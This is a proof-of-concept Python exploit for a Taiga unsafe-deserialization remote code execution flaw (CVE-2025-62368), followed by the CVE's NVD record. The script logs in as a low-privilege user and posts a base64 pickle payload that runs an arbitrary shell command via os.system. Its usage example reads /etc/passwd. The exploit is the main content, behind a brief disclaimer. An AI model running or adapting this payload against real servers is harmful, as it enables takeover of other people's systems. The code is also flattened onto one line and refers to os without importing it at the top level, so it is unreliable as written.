CVE-2025-62368

#!/usr/bin/env python3 # CVE-2025-62368 PoC - Taiga Unsafe Deserialization RCE # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import pickle import base64 import sys class Exploit: def __reduce__(self): # Replace with actual command to execute cmd = "whoami" return (os.system, (cmd,)) def generate_payload(): """Generate malicious pickle payload""" import os payload = pickle.dumps(Exploit()) return base64.b64encode(payload).decode() def exploit(target_url, username, password, command="id"): """ Exploit CVE-2025-62368 Args: target_url: Base URL of Taiga instance username: Valid low-privilege user password: User password command: Command to execute on target """ session = requests.Session() # Step 1: Login to get authentication token login_url = f"{target_url}/api/v1/auth" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None token = response.json().get("auth_token") print(f"[+] Login successful, token: {token[:20]}...") # Step 2: Prepare malicious payload import os class RCE: def __reduce__(self): return (os.system, (command,)) payload = base64.b64encode(pickle.dumps(RCE())).decode() # Step 3: Send exploit payload to vulnerable API endpoint exploit_url = f"{target_url}/api/v1/projects/import" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_data = { "import_data": payload, "template": "custom" } print(f"[*] Sending exploit payload...") response = session.post(exploit_url, json=exploit_data, headers=headers) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.json() if response.status_code == 200 else None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://taiga.local user pass 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)

{"cve": {"id": "CVE-2025-62368", "sourceIdentifier": "[email protected]", "published": "2025-10-28T21:15:40.310", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Taiga is an open source project management platform. In versions 6.8.3 and earlier, a remote code execution vulnerability exists in the Taiga API due to unsafe deserialization of untrusted data. This issue is fixed in version 6.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5", "source": "[email protected]"}]}}